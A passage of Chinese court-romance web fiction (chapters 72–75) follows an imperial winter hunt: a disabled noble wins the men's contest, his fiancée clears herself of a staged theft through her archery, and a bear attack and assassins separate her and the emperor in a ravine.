贺留善站在朝堂上,不动声色地看着年轻的帝王。他竟有看走眼的时候,原以为自己选了个好操控的绵羊,却没想到是引狼入室。 他将揣在袖子中的手缓缓伸出,刘昌终究是太嫩了些,狼崽自以为聪明,殊不知自己的真面目早已暴露无遗。 颜太傅一下朝便找上刘昌,苦劝他莫要听信一些谗言,眼下时局不稳,他又是贺留善扶持上位,不宜与他硬碰硬。此时要多拉拢一些睿帝旧臣,以获取更多支持。此外,平阳王那边,也不能晾着,亦多多亲近。 刘昌初承大统,一心要大刀阔斧整治一番,又被身边一些别有用心之人吹捧着,哪里肯听得进去,口头上应下来,依旧我行我素。 贺玄度听闻此消息,火速找上刘九生。 刘昌此举太明显,已经触怒了父亲,父亲定不会坐以待毙。前些日子,他在相府内看到了车骑将军,以及平阳王府之人上门送信,怕是要有动作了。 刘九生不解,刘昌行为为何如此莽撞。 贺玄度想到此前宫内探子传来的消息,说此前睿帝的贴身太监转投了刘昌,日日吹嘘他英明神武,颇有太祖之风,将他哄得心花怒放。 他总有一种感觉,这个太监,多半是被人授意才有如此行动。 还有其他一些巧合,似乎总有一双无形的大手,在背后推着刘昌与父亲站在对立面。 刘九生道:“会不会是彭城王的人,毕竟眼下最愿意看到刘昌与贺丞相闹翻的,只有他。” 可仔细一想,还是觉得不对。彭城王若有这样的能力和魄力,不会这么些年只偏安一隅。 冷风刮过草屋,吹得院内的木门吱吱作响,摇摇欲坠。 贺玄度沉默片刻,摇摇头,“不,还有你。” 刘九生浑身一颤,“玄度,你这是什么意思?” 贺玄度抬头,眸底漆黑如墨,缓缓吐出两个字:“睿帝。” …… 十一月初,刘昌又整了新花样,以 锻炼武艺为由,召各世家贵族年轻子弟去上林苑冬猎。 睿帝不喜武,上林苑空置许久,如今刘昌突然说要冬猎,世家中不少年轻子弟开始摩拳擦掌,跃跃欲试。 柳家兄妹也在此列。 距婚期不到一月,柳舜华本不想去,可听周松说,贺玄度听闻要去上林苑,激动得一夜没睡,将弓箭拿出,擦了又擦。 贺玄度此前也是鲜衣怒马,风流肆意,腿断了后,出门次数都少了,难得他有如此兴致,柳舜华心上欢喜,便随着他去了。 上林苑南傍终南,北滨渭水,珍树异卉数之不尽,珍稀飞禽走兽充盈其内。 柳舜华随着兄长骑马踏进苑内,枫叶红如火,银杏似金,风中裹挟着丝丝凉意,非但不让人感到寒冷,反添了几分飒爽之意。 一路走过,但见山林雄伟,湖泊广阔,宫殿壮丽,无不彰显皇家园林的气派。 新帝驾临,上林苑重新修整一番,沿途旗帜飘扬,车马辚辚,不时有珍禽脆鸣声传来。身披彩装的宫女泛舟池中,浅吟低唱,鼓乐夹杂,好不热闹。 两人来到围场,各家贵族子弟已经聚集在营帐外,个个劲装在身,瞧着倒是英姿勃发。 临到跟前,柳舜华与柳桓安翻身下马,一白一黑衣襟随风,落地平稳轻盈。 一个身手矫健,一个干净利落,动作又整齐一致,简直如赛场表演一般让人赏心悦目。 人群中有人高喝一声“妙啊!” 一时间,在场众人纷纷望去。 贺容暄哼了一声,一转头,看到贺玄晖正盯着柳舜华,气得牙根痒。 无人注意的角落,刘妉柔望向两人,眼眸柔情似水。 柳桓安似是感受到那道目光,蓦然回首,看她一身柔蓝骑装,像一团柔软的轻雾,缥缈而遥远,融入无边的山林。 恰此时,鸣銮声声,玉舆逼近,引得在场之人纷纷跪拜。 刘昌跳下马车,笑道:“今日冬猎,都随意些。猎物最多者,吾可赐他一个镇护将军头衔。” 众人脸上一阵抽搐,这也……太随意了些。不过今日来此的,都是些年轻子弟,坦白讲,这诱惑确实也挺大。 说罢,走到柳桓安跟前,笑道:“柳御史,往日看多了你君子端方的样子,没想到今日如此英姿飒爽。” 眼一瞥,看着柳舜华道:“怎么,贺二公子没跟来?” “劳皇上惦记,玄度愧不敢当。”清冽的声音从身后传来。 周松推着贺玄度从枫林中缓缓走出,他今日穿了一身红衣,映着身后的如火摇曳的枫叶,狭长的桃花眼含笑,愈发显得姿容绝艳。 刘昌扫了他一眼,“人既已到齐,就稍事休息,以号角为令,原地待命。” 众人原地休整,贺玄度手持弓箭静候在一旁。 人群中,有人相互使了个眼色,朝着贺玄度走去。 贺玄度认得他,车骑将军的侄子张毅,此前与程嘉良走得很近。 “贺二公子,你如今这样,还能骑马?” 他语气满是调笑,惹得一旁之人大笑起来。 “哈哈哈,连马都上不去,贺二公子是要坐着轮椅射箭吗?” 刘长临素日与贺玄度交好,当即拾起一个松果丢过去,“你嘴怎么这么臭,今日不曾漱口吗?待会不用亲自挽弓,一张嘴就能熏死一堆的猎物。” 年轻子弟中,不少看不惯张毅仗着自己二叔横行霸道的,见刘长临嘴上不留情,忍不住低头偷笑。 立即有人拉着张毅,“别理他,和那贺玄度一样,就是个混不吝的。” 张毅这才悻悻离开,临走前还不忘放狠话,猎场上见分晓。 他就不信,他还比不过一个断了腿的贺玄度。 刘长临走过去,拍着贺玄度,“玄度,这些人都是些跳梁小丑,你别放在心上。” 贺玄度抬头道:“这些人,我自然不放在心上。你说说,今年想要什么,我替你猎来。” 刘长临摸着下巴,“你这样,真的能骑马吗?” 贺玄度伸手朝他身上拍去,“合着方才你白说了。” 两人正说笑着,柳舜华走了过来,看着贺玄度,“准备得怎么样?” 刘长临瞧着两人眼神纠缠,对着柳舜华道:“嫂子好!” 贺玄度朝他赞赏一笑,好小子,生得一张好嘴。 号角齐鸣,声震山林。贵族子弟们纷纷骑上骏马,手持弓箭,铆足了劲向着猎场深处进发。 周松托着贺玄度上了马,柳舜华仰头望着他,叮嘱道:“小心为上!” 贺玄晖骑马从他身边走过,长陵侯世子李季方紧随其后。 擦身而过的瞬间,李季方突然回头,“二公子,方才瞧着,是被人举上马的?这猎场不少猛兽,二公子何不去女眷那里等着。” 柳舜华怒目而视,贺玄晖眼神扫过,像是没有听到一样,策马奔驰而去。 贺玄度淡然道:“大家都是来冬猎的,猎到最多为胜,至于如何上马,就不劳李世子操心了。” 李季方一笑:“那就拭目以待了。” 号角阵阵,马蹄声声中,几人卷着扬起的落叶呼啸而去。 歇息之地设在云林馆,此刻刘昌高坐台上,正与一众未参与狩猎的年轻子弟畅饮。 柳舜华走近,寻了个靠后的位置坐下。 刘昌端起酒杯,不时斜眼朝她这边看过来。 柳舜华自斟自饮了一杯,只当看不见。 狩猎活动许久未进行,如今看着这些贵族子弟在林中肆意奔腾,一个个飒爽英姿,刘昌也止不住血气翻涌。 “你们说,今日谁会夺得这魁首?”他放下酒杯,“听闻你们都下了注,不知都赌谁赢?” 众人面面相觑,一时沉默,莫非皇上是要斥他们私下行□□之事。 刘昌哈哈大笑:“你们慌什么,吾也下了注。只是想问问你们,看看吾下的注有几成赢的把握。” 几个一直跟在他身侧的世家子弟,大着胆子道:“长陵侯世子李季方,武将世家,骑射极佳。” 刘昌笑道:“还有呢?” “车骑将军的侄子张毅,也不错。” “还有廷尉府的小公子,此前中尉选拔,他曾入围。” 刘昌点头,又问:“那相府两位公子如何?” 几人相互一望,“这……大公子擅文,骑射亦可。” 刘昌:“贺玄度呢?” 有人不屑一笑,“二公子啊,之前听闻骑射确是不错。可他如今摔断了腿,连上马都难,又怎能夺魁呢?” 刘昌摸着额头,颇为头疼的样子,“那惨了。” 几人笑容僵在脸上,“莫非……” 刘昌点头,“我赌贺玄度赢。” 第73章 第73章若我想争,根本轮不到你…… 蹄声急促,肆意奔腾,蛰伏在林间的动物四处逃窜。 李季方身骑赤血宝马冲在最前,张毅手持良弓紧随其后。 很快,一头受惊的野羊慌不择路,一头扎进他们围好的圈子中。 李季方仗着宝马良驹,弯弓朝着野羊射去,眼见即将射中,只听“铛”的一声,被另一只箭羽击中,射在了一旁的树上。 野羊猛地惊醒,越过一旁的灌木丛,钻进了丛林。 张毅对着李季方一笑,“抱歉,射偏了。” 狩猎开始,大家都想拔得头筹,张毅紧跟着李季方,摆明了是不想他领先。 两人正对峙着,只听一声箭响划破天际,方才窜出去的野羊“砰”的一声倒在地上。 北风凛凛,自贺玄度衣角呼啸而过,少年高坐马上,嘴角微微上扬,眼神中满是不羁。 他身姿端正,搭弓射箭的姿势过于完美,实在无法想象他断了双腿。 一声鼓响,号角吹起,贺玄度拔得头筹。 李季方看着张毅,冷笑道:“你咬着我不放,没想到螳螂捕蝉黄雀在后,白白让人捡了个大便宜。” 张毅一张脸冷下去,“贺玄度,你倒是会投机取巧,趁着我们相争之际,偷偷下手。能拔得头筹,不过是凑巧罢了。就你那点实力,也敢在我们面前嚣张。” 这些年,他虽刻意隐藏其身手,但骑射之术却从不加掩饰。贺丞相不少骂他沉迷于游猎,不务正业。是以,长安城中不少纨绔都知晓他精于骑射。 贺玄度骑射的本领,是战场上真刀真枪拼杀来的。即便断了腿,也比这些养尊处优,只有些花架子的年轻子弟强上不少。 他今日来,本就是带着目的,更要坐实他纨绔的名头,要的就是出尽风头,根本没有谦让的必要。 见贺玄度并没反驳,反一副胜券在握的样子,张毅讥讽道:“一个被追得穷途末路 的野羊而已,不知道的,还以为你猎到了猛禽异兽呢。也不瞧瞧你这副样子,怕只有那个贪慕虚荣又无脑的柳大小姐将你当个宝了。” 周围之人都跟着笑了起来。 贺玄度眼眸一沉,在众人哄笑声中,缓缓从背后的箭囊中取出一支箭,举起弯弓,带着一种极致的冷漠,瞄准了张毅。 众人脸色突变,张毅更是瞪大了双眼,紧盯着贺玄度乌沉无波的双眸。一瞬间,他感到一种强大的杀机,他想跑,却又像被一股无形的力量拉扯住,根本动弹不得。 “嗖”的一声,箭矢飞了出去。 张毅浑身像被冰封了一般,僵在马上,脸色煞白。 箭羽擦着他的脸颊划过,一滴血落在破败的枯叶上。 众人回头,一条小花蛇被方才那支箭牢牢钉在树上。 贺玄度收回弓箭,淡声道:“张公子说大话的时候,不知道抬头看看吗?” 张毅浑身一松,身体瘫软下来,半晌才回过神来,对着贺玄度咬牙道:“贺玄度,程嘉良说得没错,你就是一条疯狗。” 贺玄度看都没看他,倾身贴在马头,拍了拍□□的黑马。 “知道我疯,以后见到我,就有多远滚多远。” 望着贺玄度策马离去的身影,张毅久久怔愣在原地。 他清楚,方才那一箭,若有一丝偏差,当场便能要了他的命。 贺玄度,他真是个疯的。 李季方瞧着那一抹红消失在山林,朝着身侧的侍卫歪了头。 今日这个魁首,他夺定了。 贺玄度若是阻了他,那就正好试试,究竟是谁的箭更快。 …… 云林馆内,用过午膳,一众文弱子弟继续陪着刘昌畅饮。 柳舜华坐着无聊,正欲起身,却听有人道:“皇上,时日尚早,咱们干坐着也无聊,不如让各家小姐们也比试一番如何?” “这个好。我瞧着诸位装扮颇为飒爽,今日能来,想必是对骑射有兴致。”刘昌直起身子,“成川,你让成渊去清理出一块场地,准备好靶子,咱们也来比试比试。” 很快,靶场准备好,是此前一处演武场。 众人随着带路的太监一起,绕了几个圈,才走出云林馆。 柳舜华独自走在后面,静静欣赏着上林苑中的景致。因是初冬,苑内依旧是秋日景象,非但不觉寂寥,反有几分绚丽多姿的意味。 她困在府内许久,如今行在山水间,心中畅然。 边走边瞧,险些撞到人,她慌忙致歉。 却听两声笑从头顶传来,贺容华与刘妉柔就站在她面前。 贺容华柔柔开口道:“柳小姐,看什么看得这么出神?” 因着上次相府之事,柳舜华对贺容华很是感激,笑道:“贺大小姐好。” 贺容华微微一笑,“该改口了,你还是同宁儿一样,唤我一声大姐吧。” 柳舜华脸色微红,又朝着刘妉柔道:“上次宫内赏菊宴,多谢妉柔郡主。” 刘妉柔摆摆手,“我那也是看不惯贺……” 说罢,想起贺容华站在身边,不好继续说下去,只是笑笑。 贺容华丝毫不避讳,“二妹妹自幼被宠坏了,行为是有些跋扈。不过你们放心,今日有我在,她不敢轻易生事的。” 柳舜华点头,她知晓,贺大小姐一向不喜热闹,今日能来上林苑,多半是受贺玄度所托,以免她在贺容暄那里吃亏。 众人来到靶场,几个贵女已经选好了弓箭,正相互说笑。 皇上就坐在高台上,看着靶场上的众人。 很快,一个小太监便过来宣读了圣意,命今日到场贵女皆下场比试,魁首有重赏。 言罢,又添了几句,此番比试不过是互相切磋,莫要有负担之类。 柳舜华暗暗思索,刘昌的重赏,她可不敢要,待会只需随便射几箭应付一下便好。 刘妉柔意兴阑珊,靠近柳舜华道:“这样的比试,最无趣了。谁不知道,这些贵女中李舒君箭术最好。不过,李舒君多机灵啊,这种场合,必然要输给贺容暄。所以,这场比试,贺容暄赢定了。” 柳舜华一笑,下意识朝贺容华看去,只见她正盯着远处出神。 顺着她的目光望去,一个身穿盔甲之人正对着一队禁军训话,那人背对着她们,只露出一个挺拔的背影。 刘妉柔在旁说道:“那个人,就是皇上新提拔的卫尉。” 柳舜华笑道:“瞧着倒是尽职尽责。” 刘妉柔道:“那是自然,他可是济阳旧臣。” 鼓乐声响,贵女们依次比试。柳舜华随便拉弓射了一箭,上中下不中,中规中矩。刘妉柔勉强射中靶子,贺玉雪直接脱靶,李舒君差点射中靶心。 贺容暄贵为丞相嫡女,常随贺玄晖一起听学,君子六艺,射亦有涉猎,到底有几分真功夫在,又有李舒君主动避让,稳稳夺了魁首。 皇上拊掌道:“虎父无犬女,贺家的小姐果然出色。来人,将吾的弓箭拿来赐给贺小姐。” 成川捧着弯弓走来,惹得众人艳羡不已。 柳舜华扫了一眼,与其说是一张弓,倒不如说是一件装饰品,她这辈子都未见过如此浮夸的弓箭。 弯弓细腻光滑,雕刻云鸟纹,两端装点金色饰,镶嵌四颗南红玛瑙,光彩熠熠。 柳舜华眼眸一转,刘昌前些时日随意裁撤了贺丞相的人,估计是意识到自己操之过急,想借机主动缓和一下。 贺容暄接过弓箭,欣喜谢恩。 贺玉雪走上前,摸着弓箭,极尽奉承。 刘昌兴致正高,让人就地设宴,舞乐助兴。 贺容暄得了赏赐,有意张扬,便大方地将弓箭传给贵女们相看。饶是柳舜华坐在最后,也躲不过被迫瞻仰御赐之物的命运。 弓箭转了一圈,又回到贺容暄手中,她出尽了风头,总算消停下来。 这时,贺玉雪端着酒杯走到贺容华跟前,“大姐姐,许久未见,妹妹敬你一杯。” 贺容华鲜少同她亲近,不知她为何突然过来寒暄,出于修养,还是笑着同她对饮。 贺玉雪又转向柳舜华,“柳姐姐,此前咱们多有误会,往后就是一家人了,还望你能不与妹妹计较。” 这话听得柳舜华却眉头直皱,明明挑事的是她,怎么好端端变成她毫无容人之度了。 刘妉柔瞥了贺玉雪一眼,到底是贺家的家事,她也不好插嘴,只一声冷哼。 贺容华却听不下去,温声道:“蓁蓁性情柔和,若是想要计较,那必定是大事,到底是什么样的误会,说来听听。” 贺玉雪理亏,自然不敢说,忙对着柳舜华道:“柳姐姐,是妹妹的错,我先干为敬。” 无事献殷勤,柳舜华不知道她又在想什么阴招,晃动着酒杯按兵不动。 贺玉雪端着酒杯的手一抖,酒水全洒在柳舜华身上。 柳舜华忙起身抖动着衣襟,贺玉雪紧跟着起身致歉,“都怪我太莽撞了,没有端好酒杯,柳姐姐没事吧?” 柳舜华不再客气,“你离我远一些,我就没事了。” 贺玉雪讪笑一声,端着酒杯走开。 贺容华与刘妉柔忙问,“怎么样,要不要去换一件衣服过来?” 柳舜华还未搭话,就见刘昌走下台阶,许是喝得有些醉了,晃晃悠悠地走了下来。 经过柳舜华身边时,一个趔趄倒了下去。 众人吓了一跳,舞乐立时停下,场上一片紧张。 柳舜华下意识向后挪动,与他拉开距离。 成川慌忙上前,刘昌已经扶着桌案站了起来,笑着摆手,“无碍,无碍,接着奏乐。” 说着又踉踉跄跄朝贺容暄走去,贺容暄心内暗喜,起身相迎。 刘昌笑道:“贺小姐是今日射箭魁首,吾敬你一杯。” 身后的成川忙将酒杯递上,刘昌接过,身子又是一晃,整个人扑倒在一旁桌案上。 贺玉雪被吓了一跳,慌张抬眸,正撞上刘昌迷离的醉眼。 刘昌本就生得丰神俊朗,此刻半醉着,更添几分风流之态。他就这么毫无顾忌地盯着她,贺 玉雪哪里经得住这样的撩拨,微垂下头,一颗芳心怦怦乱跳。 贺容暄转头,瞧见贺玉雪如此媚态,冷笑一声坐了下来。 待刘昌走远,贺玉雪犹沉浸在方才对视的悸动中不能自拔。 贺容暄悄悄推了她几下,贺玉雪这才反应过来,对着一旁的贵女使了个眼色。 “哎呀,贺大小姐,您这弓……” 贺容暄将弓拿起,惊道:“怎么回事,上面的南红玛瑙怎么不见了?” 众人望去,只见弓箭一端上原本嵌着玛瑙的地方,空了一块出来。 “这可是御赐之物,谁这么大胆,竟敢私藏?” 在座的贵女们议论纷纷: “不是我,我看的时候分明还好好的。” “我也是。” “我也是。” “不知最后一个看的是哪位?” 众人纷纷撇清关系,将目光投向柳舜华。 柳舜华心内冷笑,她算是明白了,为何方才贺玉雪会过来敬酒赔罪。 若她所料不错,那颗丢失的玛瑙,现下就藏在她的桌案处。 然而众目睽睽之下,她一举一动都受到关注,根本不可能再将玛瑙找出,并趁机转移。 刘妉柔呵道:“最后一个看的便有嫌疑吗,方才那张弓传了那么久,大家都有可能下手。方才收弓之人是谁,没有看清楚吗?” 贺容暄身边一个宫女跪地颤抖道:“是奴才,奴才方才一时大意,未曾留意。” 贺容暄扬声道:“她只是个奴才,郡主何必为难她?眼下最重要的难道不是要找出玛瑙吗?” 贺容华冷眼瞧着,一看便知又是贺容暄的把戏。她这个二妹妹,实在是愚不可及。柳舜华不日便要嫁进相府,她在自家府邸针对她也就罢了,怎么在外人面前肆意诋毁她。 她忍着怒气,缓声道:“想是方才传递之时,不小心掉了。圣驾在此,岂可坏了皇上的心情,不如等宴席结束再寻吧。” 贺容暄接连在柳舜华那里受挫,一心想要杀一杀她的威风,哪里听得进去贺容华的话。 她秀眉扬起,目光有意无意看向柳舜华,“大姐,那玛瑙可是嵌上去的,怎么可能轻易便掉了,必定是有人刻意为之。有人竟胆大到盗取御赐之物,岂可轻易放过。皇上,还请您下令彻查。” 刘昌屈起一条腿,端着酒杯,眯眼看着柳舜华。 这场局摆明了就是冲着她去的,他倒要看看,她如何化解。 柳舜华在众人目光中缓缓起身,“的确,最后一个看那弓箭的是我。” 贺容暄斜了她一眼,“若你看上这玛瑙,直接与我说便是,何必这么麻烦。” 柳舜华淡声道:“贺二小姐,事情还没弄清,便随意给我定罪,太心急了吧。” 贺容暄冷笑,“若不是你,你站起来作甚?是不是你,搜一搜便知。” 柳舜华居高临下,俯视着她,“我想要的东西,自会去争取,不会如此麻烦。” 贺容暄不屑,“你会争取,你箭都拿不稳,如何争取?真是可笑。” 凉风从远处的山林掠过,吹着柳舜华白色的衣裙,清冷似盛放在雪山的白莲。 她清亮的声音回荡在空旷的靶场,“贺容暄,若我想要争这魁首,根本轮不到你。” 第74章 第74章柳小姐失踪了 霜风烈烈,一行鸿雁南飞,远山枫叶遍红,映着重叠的暮云,火烧一般。 柳舜华不再与她废话,转身朝着靶场内走去。 刘妉柔紧张得攥着手,柳舜华这是要做什么,方才她已经射过了,不过比她略好一点而已。 而且贺容暄方才运势极佳,已射中靶心,她即便射中也只能和她打个平手,讨不到什么好处。 除非像李舒君一样,与贺容暄打个平手,继续对打。 可这种还是有风险,万一重新比试又输了,要如何收场? 贺玉雪捂嘴笑道:“曦妹妹,你瞧,她这是急糊涂了吗,还真是不知死活。” 贺容华隔着人群狠狠瞪了她一眼,这个贺玉雪整日撺掇着二妹妹胡闹,回去定要好好训斥她一番。 人群中掀起一阵波澜,柳舜华像没听到一样,从容走向靶场。 贺容暄看着柳舜华,目光微微一动。 她笃定柳舜华赢不过自己,一心想看她出丑,并未阻止。但见她步履平稳,神情从容,突然涌上一股说不出的感觉。 她这胜券在握的样子,真的很让人讨厌,她凭什么以为自己能赢。 柳舜华缓缓走到靶场外,弯腰拿起放在一旁的弓箭。 一旁的看客们窃窃私语,“她真的要比?贺二小姐已经射中靶心,她能怎么比?” “贺玄度断了腿,不知死活地参与狩猎。他这未婚妻也是个爱逞能的,还真是,不是一家人不进一家门。” “要不说丞相偏爱大公子呢,实在是这贺玄度扶不起来,如今又找个这样不知分寸的媳妇,这要嫁进去,相府岂不是要被他们闹得鸡飞狗跳。” 他们都知道,贺丞相一向不看重贺玄度,是以才敢明目张胆地议论。 柳舜华在众人议论声中,随手抽了一支箭羽。 她手臂轻扬,搭箭拉弓,双目直视前方靶子的红心。身姿如松,坚如磐石。 刘昌换了个姿势,饶有兴致地盯着她。 架势不错,就是不知…… 一声“嗡”响,箭矢离弦,呼啸而出,如一道闪电飞了出去。 场上一片安静,众人齐刷刷地朝着靶子望去。 正中靶心! 刘妉柔最先反应过来,站起拍手道:“好!” 先前柳舜华那一箭,不过中等之资,如今却一箭正中靶心,众人不由暗暗一惊。 贺容暄双眼盯着靶心上的箭矢,眼中几乎冒出火来,柳舜华她竟然真的射中了。 贺玉雪余光瞥到贺容暄的神色,忙高喊道:“碰巧罢了,容暄也射中了靶心,你有什么好得意的。” 她这话说得不错,众人看着柳舜华,若是想证明自己,除非她与贺容暄再比一场。 柳舜华只是淡淡扫了她一眼,一个转身,弯腰抽出两支箭,顺势搭在弓上,毫不犹豫地射了出去。 双箭齐发,一阵强劲的箭风划破长空,两支箭稳稳落在靶心。 众人看得目瞪口呆,若说一箭射中是运气好,可如今双箭齐发,全中。若非有真本事,又如何能做到。 柳舜华转身,“贺二小姐,这便是我的实力,要比一比吗?” 刘昌双眼一亮,不觉坐直了身体。 初见柳舜华,只觉她娇娇柔柔,宛似一枝春日里的嫩柳,虽机敏灵巧,却毫无攻击力。而眼前的她,发丝随风,眉梢眼角尽是傲然,一举一动英姿尽显,一刹那,世间万物都沦为了她的陪衬。 贺容暄脸色发胀,咬牙不语。 贺玉雪硬着脖子道:“就算你射中了又如何,顶多是你箭术尚可,与偷没偷东西有何干?” “住口!”贺容华呵道:“贺玉雪,你三番两次挑唆针对柳小姐,是何用心?事情未查清,你张口闭口便是偷,这便是你的教养?” 贺玉雪被贺容华一骂,缩着脖子,不敢再还嘴。 刘妉柔扬眉道:“诸位也看到了,柳小姐三箭皆中,若是她想争这个魁首,轻而易举。方才不过是刻意避让,想给某些人一个出风头的机会,没想到反被诬陷。柳小姐连魁首都愿意相让, 又岂会做这样的龌龊事。” 贺容暄拍案而起,“刘妉柔,你什么意思?我这个魁首和赏赐,是我自己得来的,与她柳舜华何干,方才明明是她技艺不精射偏。若她当真清白,就应该让人来搜一搜。” 两人剑拔弩张,场上氛围一时紧张起来。 两人一个是相府小姐,一个是皇亲贵胄,众人都乖乖闭上嘴,将目光望向台上。 刘昌揉了揉额头,“御赐之物,不容亵渎,贺二小姐坚持要查,吾很欣慰。” 刘妉柔一听,忙道:“皇上,今日来的都是各府小姐,贸然搜身,实在不妥。” 贺容暄却道:“不能搜身,总能搜一搜这座位吧。” 刘昌想了想,点头道:“没错,那么大颗玛瑙,藏在身上多有不便,贼人一时半刻离不开,多半是放在桌案处。来人啊,搜。” 众人纷纷起身,站在一边,看着随行的侍卫们不停地翻动着桌案。 柳舜华早猜到,贺玉雪将玛瑙放在她桌案处,好在方才几箭已经撇清了一些嫌疑。在座的也都不是些随便可以糊弄过去的,自然看出些门道。即便待会真的搜出来,也是一场糊涂官司。 正想着,只听有侍卫高喊一声,“找到了。” 贺容暄得意一笑,缓缓转过头,脸上的笑顿时僵在脸上。 柳舜华循声望去,一瞬怔然。 玛瑙是找到了,不过不是在她那里,而是在贺玉雪的桌案下。 贺玉雪仿佛被雷击中了一样,整个人都呆住了。方才她明明将那玛瑙放在柳舜华桌案垫子下,怎么会出现在她桌案下。 刘昌双眼圆睁,对着发愣的贺玉雪,讶声道:“贺小姐,怎么会是你?” 贺玉雪拼命摇头,“不是我,不是我。” 柳舜华也懵了,难道她猜错了? 可不对啊,贺容暄与贺玉雪一唱一和,大费周折,明显是有预谋,怎么如今玛瑙反出现在贺玉雪桌案下。 眼一瞥,瞧见刘昌一脸惋惜的模样,眉头微挑。 方才他先是醉倒在自己身旁,又撞在贺玉雪的桌案上,难道…… 刘昌别过头去,“贺小姐,证据确凿,你还有什么好说的?” 贺玉雪忙解释道:“我怎么会偷容暄的东西,我们是姐妹,我不可能去偷她的。” 贺容暄怔愣许久,终于反应过来,“是啊,皇上,不会是玉雪。也许,也许是方才宫人递过来时,不小心撞到了桌案,滚落下来。” “贺二小姐方才不是信誓旦旦要找贼人,如今找出来了,怎么不认了呢?”刘妉柔冷笑一声,“若是此刻这玛瑙出现在别的案桌下,贺二小姐还会觉得是不小心滚落的吗?” 贺容暄瞪着刘妉柔,一句话也说不出。 贺玉雪双手拉着贺容暄的衣襟,“容暄,不是我,你知道的,不是我。” 刘昌眼神一冷,方才怜香惜玉之心瞬间没了踪影,“盗取御赐之物,贺玉雪,你可知是何罪?” 贺玉雪浑身一抖,跪了下来,“皇上,我没有偷,我没有。” 刘昌不耐烦地挥了挥手,“拉下去,听候发落,吾不想再看到她。” 贺容暄方想解释,便觉一道锐利的目光袭来,贺容华冷眼瞧着她,做了个噤声的动作。 贺玉雪被拉了下去,眼巴巴地望着贺容暄,哭得撕心裂肺。 已是日暮,晚霞如梦似幻,笼罩着山林,红玛瑙被盗之事终于尘埃落定。 远处传来击鼓声,狩猎也结束了。 有侍卫从远方跑来,跪在刘昌面前,“恭喜皇上,贺二公子不负皇上期待,夺得魁首。” 刘昌拊掌道:“好好好,今日吾要大赚一笔了。” 柳舜华仰头淡然一笑,以贺玄度的能力,区区一个狩猎魁首又有何难。 那侍卫话锋一转,“只是,方才猎场上,有人受了重伤,已被抬下去医治。” 刘昌漫不经心道:“是哪家的公子?” “长陵侯府的世子,李季方。” 李季方,好像是贺丞相的人。伤了,就伤了吧。 刘昌站起身来,笑道:“咱们这就去瞧瞧,他们都猎到了什么稀罕物。” 一行人方走出靶场,一声震耳欲聋嘶吼从远处传来。 吼声越来越近,众人吓得愣在原地,一动也不敢动。 转眼间,一只体形硕大的黑熊发疯般朝着人群冲来。 那黑熊身躯庞大,足足有一人半之高,浑身黝黑的毛发奔跑中暗潮一般涌动。双眼充血,獠牙外露,涎水顺着嘴角肆意滴落,所经之处,尘土飞扬,围场的栅栏断裂之声惊心动魄。 成渊率先反应过来,高喊:“护驾,快护驾。” 成川一马当先,挡在刘昌身前。 一声尖叫响起,不知是谁,慌乱中跑了起来,一头撞在靶子上。 在场都是勋贵,哪里见过这样的场面,不少人被吓得瘫倒在地,面色惨白如纸。 成渊组织着侍卫们奋力阻止,长□□去,奈何那黑熊皮糙肉厚,又行得极快,根本伤不了它分毫。 黑熊飞快向着人群奔去,一名躲闪不及的侍卫被一掌拍飞,重重摔在石阶上,顿时血流如注。 一时间,尘土弥漫,哭喊声、惊呼声此起彼伏,靶场内混乱一片。 成渊怕黑熊伤了皇上,对着成川道:“快,送皇上离开,这里由我守着。” 一群人跟着刘昌,呼啦啦地离开靶场,有两个落在后头的年轻子弟一时不备,被黑熊抓住衣襟吓得惊叫连连。好在成渊枪术了得,一枪扎在黑熊腋下,才让两人幸免于难。 成川不敢耽搁,护着刘昌朝行宫走去。 一行人出了靶场,绕过一处空置的宫殿,行至密林处。 突然,成川猛地停下,抽出手中的佩刀。 林木摇动,五六个黑衣人从林中杀了出来。 …… 贺玄度解决了李季方,夺了魁首,怀中抱着一只雪白的兔子,策马朝着林云馆飞奔而去。 他欠蓁蓁一个小白,如今机缘巧合,竟发现了个同小白一样的兔子,迫不及待前去邀功。 方行至宜春苑,便见周松急急跑来。 骏马长嘶一声,贺玄度停了下来。 周松急道:“公子,不好了,柳小姐失踪了。” 贺玄度目光一黯,“怎么回事,不是让你看好她吗?” 周松喘着气,“方才靶场突然遭到黑熊攻击,皇上带着一群人往行宫去,途中遇到刺客。我一直跟在后面,暗中保护柳小姐。” 贺玄度:“刺客的目的是皇上,蓁蓁为何会失踪?” “那群刺客来势汹汹,下手极狠,成川奋力抵抗无果,让两名侍卫带着皇上先走。谁知皇上非要拉着柳小姐一起走,我便继续暗中跟着。” 周松继续道:“那群刺客见皇上离开,又追了上来,无奈之下,我只得现身。若只有柳小姐一人,我定能保她周全,可有皇上在,行动难免受缚。混乱之中,皇上与柳小姐双双跌落陡坡,不知所踪。” 贺玄度屏气凝神,压制住内心的躁动不安,“在何处失踪,带我去。” 行至两人跌落的陡坡处,周松翻身上了贺玄度的马。 “就在这里,不过此处太陡,根本下不去,禁卫军已经绕道去下面找了。” 周松安慰道:“公子不必太过担忧,禁卫军出动,成渊亲自带队,定会全力搜寻。” 话音方落,只见一道红影掠过,贺玄度从马背上翻身跃下,抓住一旁的藤蔓,直直飞落下去。 周松大惊,伸手去抓,终是慢了一步。 他忙上前朝下方望去,只见流云翻滚,哪里还有贺玄度的影子。 第75章 第75章你这么凶,贺玄度他知道…… 洞穴深处,一线火光,摇曳不定,堪堪照亮两人。 柳舜华靠坐在石壁上,扶着额头,一言不发。 每次遇上刘昌,总有离谱之事发生。 她好端端地跟在周松后面,本可安然无恙,偏被他拉着不放,双双跌落山崖。 幸好此处林木茂密异常,有树枝缓冲,下面枯枝落叶堆积成山,这才幸免于难。 衣衫被树枝划破,胳膊上血痕一片,疼得柳舜华直咧嘴。 她看着伤处,眉头蹙起,还有十余日她便要大婚,若是留下伤疤如何是好。 刘昌拖着腿挪过去,“蓁蓁,你没事吧?” 柳舜华正烦躁着,张口道:“皇上您觉得这么叫合适吗?还请唤我柳小姐。” 刘昌一愣,悻悻道:“好歹摔下来的时候,我也帮你垫了一下,你没必要这么凶吧?而且我是皇上,你就不怕我治你罪。” 柳舜华扫了他一眼,“等活着出去你再治我 的罪吧。” 刘昌摇头道:“我算是看清了,你这个女人怎么还有两副面孔呢。往日觉得你端庄守礼,没想到全是假的。” 说完,又补了一句,“你这么凶,贺玄度他知道吗?” 柳舜华转头,赌气道:“贺玄度他就喜欢我对着别人凶。” 刘昌无语,撇撇嘴,“贺玄度口味当真独特。” 夜幕降临,洞中又暗了几分。 刘昌有些心急,“咱们就这样干等着吗?” 